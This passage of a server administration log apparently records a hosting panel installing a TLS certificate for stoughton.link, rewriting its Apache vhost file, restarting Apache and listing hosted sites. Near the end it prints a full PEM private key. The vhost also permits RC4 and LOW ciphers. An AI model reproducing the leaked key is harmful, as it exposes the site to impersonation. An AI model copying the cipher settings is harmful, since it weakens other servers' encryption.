MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-04 13:53:19: 

chmod 755 /tmp/pkp413851; /tmp/pkp413851; rm /tmp/pkp413851

2026-07-04 13:53:19: 


dir=/etc/ssl/certs


2026-07-04 13:53:19: 

PUT: /tmp/pkp617078

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/stoughton_www_link.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-04 13:53:19: 

chmod 755 /tmp/pkp617078; /tmp/pkp617078; rm /tmp/pkp617078

2026-07-04 13:53:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 42
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>






2026-07-04 13:53:19: 

PUT: /tmp/pkp775206

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=stoughton_www_link.conf
TARGET=/etc/apache2/sites-enabled/stoughton_www_link.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/stoughton_www_link.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf= 1'
fi


2026-07-04 13:53:19: 

chmod 755 /tmp/pkp775206; /tmp/pkp775206; rm /tmp/pkp775206

2026-07-04 13:53:20: 




2026-07-04 13:53:20: 

PUT: /tmp/pkp410919

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-04 13:53:20: 

chmod 755 /tmp/pkp410919; /tmp/pkp410919; rm /tmp/pkp410919

2026-07-04 13:53:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-04 13:53:20: Establishing a connection
2026-07-04 13:53:20: 

PUT: /tmp/pkp446606

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-04 13:53:20: 

chmod 755 /tmp/pkp446606; /tmp/pkp446606; rm /tmp/pkp446606

2026-07-04 13:53:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-04 13:53:20: 

PUT: /tmp/pkp243237

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/stoughton_www_link.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-04 13:53:20: 

chmod 755 /tmp/pkp243237; /tmp/pkp243237; rm /tmp/pkp243237

2026-07-04 13:53:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf	1743
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>







2026-07-04 13:53:20: 

PUT: /tmp/pkp102614

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-04 13:53:20: 

chmod 755 /tmp/pkp102614; /tmp/pkp102614; rm /tmp/pkp102614

2026-07-04 13:53:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt	7436
d1:da:d4:a7:b8:6b:e0:4d:44:a8:19:2b:fe:df:5b:4d

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBTxnxddA6/8Je9tQfz+/k/nqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA0MTI1NDQ2WhcNMjYxMDAyMTI1NDQ1WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKRO0EVb0Uv3tSx212nNOdH/ZJvdWxSpEgJOdOUnhlvqL1rUiMZrcwxynK7DDGfu
33IAQzWGRkZkd82I+QGUeY75qdvBr+EQf8Y6Hc6idkS+JHfBk7IzQAxoHzkqTwyz
TY4at+ascvUKnPipOHqSOAru/NWM1tXdWPK812dajRAWINFft7ba9l/RbWsj/1CH
pxIhmOHLIShTtitaAkpFJVTz+97e7RU7hUH/cnNevXA32+JXv/g24T+gOUvWUNe4
4j5B+GyuwpquufLdV3wBft2U99prMP6cGSPgo6QCahNcRJFvknH3uK6CvR/IQCGF
IlSND6dHDopJsAbvkhjtbIsCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQk90SE
l8eXDkY3D9mx9kts8GintjAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECouc3RvdWdodG9uLmxpbmuCDnN0b3VnaHRvbi5s
aW5rMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly95cjEuYy5sZW5jci5vcmcvMTA3LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA
+AB3AK9niDtXsE7dj6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABny1nrbkAAAQD
AEgwRgIhALNQELbD1Jmyp2B6lr2u9bfYWSB2s6VSEHmi/HgGRVh0AiEAje1lwZ5T
j1eyILCwGzssGh66Qqam907x4V0SVuXre8EAfQAm42RuWGkhI7w0P0ckNZs3ks0k
WojYFdOTM/2ZGKtHIwAAAZ8tZ6rnAAgAAAUAJVRo6AQDAEYwRAIgSJg8GQJrPDGS
Sq3wrOu8P8quuEhmCHcpmgjIWWPfKM0CIGAHR8TYjpnaRaME7ROTPjUW+n2rDkTB
Af+Q7/CWMrFxMA0GCSqGSIb3DQEBCwUAA4IBAQBLKj81nujdE7fomp22h9CVSm3u
UpAXLaxomyXhifxCnKUKay8aSHue333xfR/7d005a0IJdjyQXq91MfOSdtyUyOoP
oxjaldSN83by97Rz37ZI79xJBqKtQsAnQy/aetIrMRDGHmCJaGo1QdR3/HVzn+Uw
6IjoQnIuIMywMVxqBL1XytxraSTbd67Q82mLNEP9A3sGUx2pD+9fr6xm3ItGkU2V
k1JfSwZIpdfRAEarlcveWq7WvY2lnf2+Ym66UeHbra2P49dULsImphGeaPWy/z7M
g6uIfOyeotTNEZCeX/PVg12cAan3Bj2vHe4Ymk2w6rUeFNPUxJYYCDbU60dB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkTtBFW9FL97Us
dtdpzTnR/2Sb3VsUqRICTnTlJ4Zb6i9a1IjGa3MMcpyuwwxn7t9yAEM1hkZGZHfN
iPkBlHmO+anbwa/hEH/GOh3OonZEviR3wZOyM0AMaB85Kk8Ms02OGrfmrHL1Cpz4
qTh6kjgK7vzVjNbV3VjyvNdnWo0QFiDRX7e22vZf0W1rI/9Qh6cSIZjhyyEoU7Yr
WgJKRSVU8/ve3u0VO4VB/3JzXr1wN9viV7/4NuE/oDlL1lDXuOI+QfhsrsKarrny
3Vd8AX7dlPfaazD+nBkj4KOkAmoTXESRb5Jx97iugr0fyEAhhSJUjQ+nRw6KSbAG
75IY7WyLAgMBAAECggEATlczr3ZFVxrOu9oYAF61HF7Qig5jQHkSWJ4u1xne0pFY
rc6bPjv6GWvGL/9YuW9oA3ODmBAjDqoVgx61Vx8DTHvWlKyHXuCeg5WvI5hLmqAs
RBs8gCE2fxPgG0IEedI9/qzXlTkRAKvkRx1sC+kOpovnaiyiPEsy/12xuJowmwOm
RXIM4/+lVRIIgHLv8JVXBDBtuwrxSg15hzj4eFijVBWrmajzdKHzIv66kQmJJRWH
m1zZ/wGY/NrG3RfwJ7M4GJAGzx/RnE2yvL0He1urDvIn5bTO2PHmASMCWKf7TzND
Ck5ZVaPAAUaZdBBrbnMYgQ6QUymT7Fa33Jzd7jFOLQKBgQDUW3Qj+kX+x6zOYrz0
zjrX60hXGQSm3N8/ENeKlGawVAkhN58IZXN0eTJEaJlu9mz9bE++0ajzupDy23Rh
6O3h6Ddgj0iZFCrVNv/1/R3DGX53oyl5B0K/u4y2kw1BTgyDqZYpwb/6Dg06hqpX
fFBBtFaClcAcE3vqrlMCLc25nQKBgQDGE2Jv/uvwDA7VDzcXIS2Lkf8rTL292wM/
BfEmGMDhUBEQKj/t4dj8O8pk0v19g019uidOQccf+HSEqL/oxEUgdhcNG9N4haos
YAK4ngZIVrXIos3agireXrSYbTM+VRNfJ4koGPjyXgcsdpoqtCuTN131bLZSCUNC
lrGSZ4kaRwKBgEqzeSGG0sSTXRik5y9+tHhsDeCFrns8S1QWCpx3I8B3b1a+CDWd
6oVYdPRXj1HXYfOr/El122cRhBfKVyByHexQEdrnzHP9AixK0rOnvKZ6+1/+h4JJ
qZNk2FUJWapVWFWgfHBn9a5y7vhdkuJ/moPiemQpZZD60aZ2eEDV9/6JAoGBAJpr
wGGZ9yz06ZdXPlbM6eoWzz1dnctm9JfstP1DbRP7TOIyXhbB7V1v67FBAJkahY5Q
U5ZiF7CoDYbi3ILGiTHufrgcing6lNn1nAl8QV+iIiSiMCR7OJqWcOsorzuYLfsQ
IpDdLzAc+DDE4hoKzrH+B0VwFI/OYt6GBzghebS/AoGATk6mhTthCJiF9iRM91PB
x+GcQJHJ1dcMl7YFXubtXXSgGCELnqTVTjLtm/eLYX4il64VQ1dLJGgp1T0pL1Wr
zSo9Hbom1YnRMfiixjfRZ3As4yPzW5+BjJsBpUXmQwDhQMmW41IxNTxXgAR/qSsU
TM4k6ZEJFGl46jLDX2N7e6E=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
